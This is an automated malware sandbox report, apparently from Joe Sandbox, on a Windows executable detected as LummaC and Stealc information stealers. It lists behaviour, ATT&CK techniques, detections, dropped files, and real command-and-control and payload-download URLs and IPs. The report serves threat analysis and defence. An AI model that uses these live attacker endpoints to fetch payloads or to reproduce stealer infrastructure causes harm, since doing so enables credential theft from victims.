Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior

Source: C:\Users\user\Desktop\0HdDuWzp54.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000000.00000003.1825442882.0000000001440000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1860556609.0000000001449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0HdDuWzp54.exe PID: 7432, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 0HdDuWzp54.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000005.00000002.2116005782.00000000003A1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2075796995.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2118221321.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe PID: 8076, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	21 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	371 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
0HdDuWzp54.exe	58%	Virustotal		Browse
0HdDuWzp54.exe	61%	ReversingLabs	Win32.Ransomware.StealC
0HdDuWzp54.exe	100%	Avira	TR/Crypt.XPACK.Gen
0HdDuWzp54.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
observerfry.lat	172.67.199.72	true	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
curverpluch.lat	true	unknown
slipperyloo.lat	true	unknown
tentabatte.lat	true	unknown
manyrestro.lat	true	unknown
bashfulacid.lat	true	unknown
observerfry.lat	true	unknown
wordyfindy.lat	true	unknown
https://observerfry.lat/api	true	unknown
shapestickyr.lat	true	unknown
http://185.215.113.206/c4becf79229cb002.php	false	high
talkynicer.lat	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/j	Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.0000000001622000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/steam/random.exe09	0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013D2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/pi2	0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0HdDuWzp54.exe, 00000000.00000003.1827518501.0000000005BAA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpl	Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpm	Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0HdDuWzp54.exe, 00000000.00000003.1781851132.0000000005C00000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1804179713.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1781978980.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1804276547.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exeex9	0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013D2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/ws	Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.000000000163A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://observerfry.lat/apit	0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013F4000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1825442882.0000000001440000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1825468436.0000000001469000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/apiOK	0HdDuWzp54.exe, 00000000.00000003.1825442882.0000000001440000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1825468436.0000000001469000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/F	0HdDuWzp54.exe, 00000000.00000003.1881351639.000000000145D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0HdDuWzp54.exe, 00000000.00000003.1827518501.0000000005BAA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0HdDuWzp54.exe, 00000000.00000003.1781978980.0000000005BD4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/?	Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.0000000001622000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	0HdDuWzp54.exe, 00000000.00000003.1827051840.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exee	0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013D2000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0HdDuWzp54.exe, 00000000.00000003.1827518501.0000000005BAA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exe	0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013D2000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.2016210308.000000000145C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/	0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013CC000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.2016210308.000000000145C000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1934772798.000000000145D000.00000004.00000020.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1804099068.0000000005BA4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://ocsp.rootca1.amazontrust.com0:	0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0HdDuWzp54.exe, 00000000.00000003.1781851132.0000000005C00000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1804179713.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1781978980.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1804276547.0000000005BF9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0HdDuWzp54.exe, 00000000.00000003.1827051840.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	false	high
http://go.mic	NCU1LYX00CJA4N4Z4DG.exe, 00000004.00000002.2175390962.000000000145B000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php8	Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/	0HdDuWzp54.exe, 00000000.00000003.2016210308.000000000145C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.microsof	0HdDuWzp54.exe, 00000000.00000003.1781851132.0000000005C02000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpH	Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0HdDuWzp54.exe, 00000000.00000003.1825966478.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	0HdDuWzp54.exe, 00000000.00000003.2016210308.000000000145C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0HdDuWzp54.exe, 00000000.00000003.1781978980.0000000005BD4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206	Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.00000000015DE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0HdDuWzp54.exe, 00000000.00000003.1780393807.0000000005BED000.00000004.00000800.00020000.00000000.sdmp, 0HdDuWzp54.exe, 00000000.00000003.1780874006.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/ulHBdqWKZGxkQH29TII	0HdDuWzp54.exe, 00000000.00000003.1852781819.0000000005BA1000.00000004.00000800.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.199.72	observerfry.lat	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579724
Start date and time:	2024-12-23 08:06:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	0HdDuWzp54.exe renamed because original name is a hash value
Original Sample Name:	b333c775a7e8c4b2a778c94e6d795c15.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@1/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 0HdDuWzp54.exe, PID 7432 because there are no executed function
Execution Graph export aborted for target Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, PID 8076 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:07:33	API Interceptor	32x Sleep call for process: 0HdDuWzp54.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.199.72	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse
172.67.199.72	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse
185.215.113.206	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/68b591d6548ec281/vcruntime140.dll
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
185.215.113.16	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16/luma/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
observerfry.lat	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	104.21.36.201

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	schost.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.6.116
	5RjjCWZAVv.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
WHOLESALECONNECTIONSNL	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	OGBLsboKIF.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	spoolsv.COM.exe	Get hash	malicious	DBatLoader	Browse	172.67.199.72
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	5XXofntDiN.exe	Get hash	malicious	LummaC	Browse	172.67.199.72

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NCU1LYX00CJA4N4Z4DG.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
